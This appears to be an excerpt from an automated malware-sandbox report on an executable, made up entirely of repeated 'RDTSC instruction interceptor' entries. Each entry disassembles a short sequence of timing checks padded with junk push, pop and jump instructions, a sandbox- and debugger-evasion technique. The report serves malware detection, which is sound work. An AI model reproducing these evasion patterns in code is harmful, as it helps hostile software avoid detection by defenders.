Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3440D0 second address: 3440DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0ACCE7DA26h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 344274 second address: 344279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 347C12 second address: 347C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0ACCE7DA26h 0x0000000a pop eax 0x0000000b jnp 00007F0ACCE7DA3Eh 0x00000011 jmp 00007F0ACCE7DA38h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3506BA second address: 3506CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jns 00007F0ACC5107E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34E5FF second address: 34E60B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F0ACCE7DA26h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34EB24 second address: 34EB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0ACC5107FDh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34EB45 second address: 34EB60 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0ACCE7DA3Dh 0x00000008 jmp 00007F0ACCE7DA31h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34EB60 second address: 34EB6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34F40D second address: 34F411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34F6AF second address: 34F6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0ACC5107E6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34F6BD second address: 34F6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34F6C5 second address: 34F6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0ACC5107EEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34F6D8 second address: 34F711 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0ACCE7DA36h 0x00000008 jmp 00007F0ACCE7DA36h 0x0000000d popad 0x0000000e push eax 0x0000000f js 00007F0ACCE7DA26h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34F711 second address: 34F71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34F71D second address: 34F72A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F0ACCE7DA26h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34FA21 second address: 34FA31 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0ACC5107E6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34FD9C second address: 34FDBE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0ACCE7DA28h 0x00000008 pushad 0x00000009 je 00007F0ACCE7DA26h 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34FDBE second address: 34FDC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34FDC4 second address: 34FDD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jbe 00007F0ACCE7DA26h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 35034C second address: 350352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 350352 second address: 35036C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F0ACCE7DA35h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 35036C second address: 350372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 350372 second address: 350378 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 350378 second address: 350398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0ACC5107F8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 350398 second address: 3503AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F0ACCE7DA2Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3503AA second address: 3503BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jl 00007F0ACC5107ECh 0x0000000c jnp 00007F0ACC5107E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3545E8 second address: 3545F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jnp 00007F0ACCE7DA26h 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3536E4 second address: 3536E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3536E8 second address: 3536F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F0ACCE7DA28h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 35386B second address: 35386F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 35386F second address: 353880 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007F0ACCE7DA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 353880 second address: 353888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3539F9 second address: 3539FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3539FD second address: 353A03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 353A03 second address: 353A23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA37h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 353EBB second address: 353EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 353EC0 second address: 353ECB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007F0ACCE7DA26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 354304 second address: 354308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 354308 second address: 35432C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c jc 00007F0ACCE7DA34h 0x00000012 jmp 00007F0ACCE7DA2Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 358F4D second address: 358F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 358F51 second address: 358F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jnl 00007F0ACCE7DA26h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 358F63 second address: 358F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 358F6E second address: 358F74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 36091F second address: 360939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACC5107F6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 35F5AC second address: 35F5B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 35F875 second address: 35F894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 jg 00007F0ACC5107ECh 0x0000000d jnc 00007F0ACC5107E8h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 362D0A second address: 362D22 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F0ACCE7DA2Bh 0x00000008 jl 00007F0ACCE7DA26h 0x0000000e pop edi 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 369435 second address: 369448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F0ACC5107EEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 375EE1 second address: 375EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 37603B second address: 37603F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3799A2 second address: 3799B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F0ACCE7DA26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 37EF59 second address: 37EF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 37EF5D second address: 37EF67 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0ACCE7DA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 387A27 second address: 387A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0ACC5107E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38E8E3 second address: 38E8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 js 00007F0ACCE7DA41h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EA67 second address: 38EA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F0ACC5107EAh 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F0ACC5107F1h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EBD9 second address: 38EBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EBDD second address: 38EBE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EBE3 second address: 38EBEF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EBEF second address: 38EBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EBF3 second address: 38EC18 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0ACCE7DA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F0ACCE7DA35h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EC18 second address: 38EC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F0ACC5107E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EC29 second address: 38EC34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EECB second address: 38EED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38EED1 second address: 38EEEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA34h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38F07A second address: 38F07F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38FA33 second address: 38FA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38FA3C second address: 38FA42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38FA42 second address: 38FA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 38FA46 second address: 38FA4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 397472 second address: 397476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 397476 second address: 397482 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jc 00007F0ACC5107E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 397482 second address: 39748C instructions: 0x00000000 rdtsc 0x00000002 js 00007F0ACCE7DA32h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3A3C6B second address: 3A3C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0ACC5107E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3A3C77 second address: 3A3C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3A3C7B second address: 3A3C81 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3A524C second address: 3A5250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3A5250 second address: 3A5260 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0ACC5107E6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3A5260 second address: 3A5266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3A5266 second address: 3A5270 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0ACC5107E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3A5270 second address: 3A5276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 39DFE6 second address: 39DFF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 39DFF3 second address: 39DFF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3B4976 second address: 3B4984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107EAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3B4984 second address: 3B49A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F0ACCE7DA32h 0x0000000c pop edx 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3B4586 second address: 3B458A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3B46D7 second address: 3B46DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3B46DB second address: 3B46F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F0ACC5107E6h 0x0000000d jmp 00007F0ACC5107EAh 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CB129 second address: 3CB153 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA32h 0x00000007 jc 00007F0ACCE7DA26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F0ACCE7DA2Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CB153 second address: 3CB157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3C9FE9 second address: 3C9FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3C9FEE second address: 3C9FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3C9FF4 second address: 3C9FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3C9FF8 second address: 3CA02B instructions: 0x00000000 rdtsc 0x00000002 je 00007F0ACC5107E6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f je 00007F0ACC5107EAh 0x00000015 push edi 0x00000016 pop edi 0x00000017 pushad 0x00000018 popad 0x00000019 push ecx 0x0000001a jmp 00007F0ACC5107F0h 0x0000001f pop ecx 0x00000020 jbe 00007F0ACC5107ECh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3CA160 second address: 3CA164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
